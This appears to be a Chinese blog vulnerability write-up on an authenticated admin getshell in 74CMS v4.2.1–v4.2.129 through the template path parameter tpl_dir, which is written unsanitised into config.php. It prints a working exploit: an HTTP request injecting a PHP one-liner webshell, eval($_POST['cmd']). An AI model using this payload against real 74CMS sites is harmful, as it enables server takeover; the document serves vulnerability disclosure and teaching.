74CMS_v4.2.1-v4.2.129后台Getshell

影响范围

74CMS v4.2.1~v4.2.129

漏洞危害

后台Getshell

攻击类型

后台Getshell

利用条件

登陆后台

漏洞简介

74CMS管理后台在更换模板时由于模板的路径参数可控且对参数的安全性考虑不全导致该参数可控,最终攻击者可以利用该处的设计向配置文件写入一句话木马,并Getshell。
 

漏洞分析

漏洞触发位置为TplController.class.php文件中的set函数:
 
74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Admin\Controller\TplController.class.php
从上面可以看到从请求包中获取到的tpl_dir只是进行了一个简单的过滤——去除两边的空格,之后调用“_get_templates_info”来获取模板的信息:
 
之后使用“ads_init”来配置当前主题下的广告位置布局信息
 
 
最后使用updateconfig来更新配置信息,并将之前设置的配置内容写入文件:
 
由此可知,我们之前写入的tpl_dir值最终会被写入config.php文件,而初始情况下config.php为一个数组:
所以我们最后写入的tpl_dir内容文件会代替此处的default,由此可知我们可以构造特殊payload来闭合单引号插入恶意代码最终getshell!
 

漏洞复现

首先下载漏洞环境,之后通过PHPstudy搭建漏洞测试环境:
 
之后使用安装时设置的管理员账号密码进行登录
 
之后依次点击"工具"——》"风格模板",之后点击"可用模板",同时使用burpsuite抓包:
 
 
 
之后修改“tpl_dir”的值为“ ', 'a',phpinfo(),' ”:
之后可以看到成功向配置文件中写入了之前构造的php代码:
 
之后在浏览器中访问可成功执行phpinfo():
 
同时我们也可以构造一句话木马:
GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close

写入后config.php文件内容如下:
之后使用Firefox中的hackbar进行测试与命令执行:
 
之后使用蚁剑可以成功连接并getshell
 
 

漏洞POC

GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close

修复建议

升级74CMS到最新版本
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值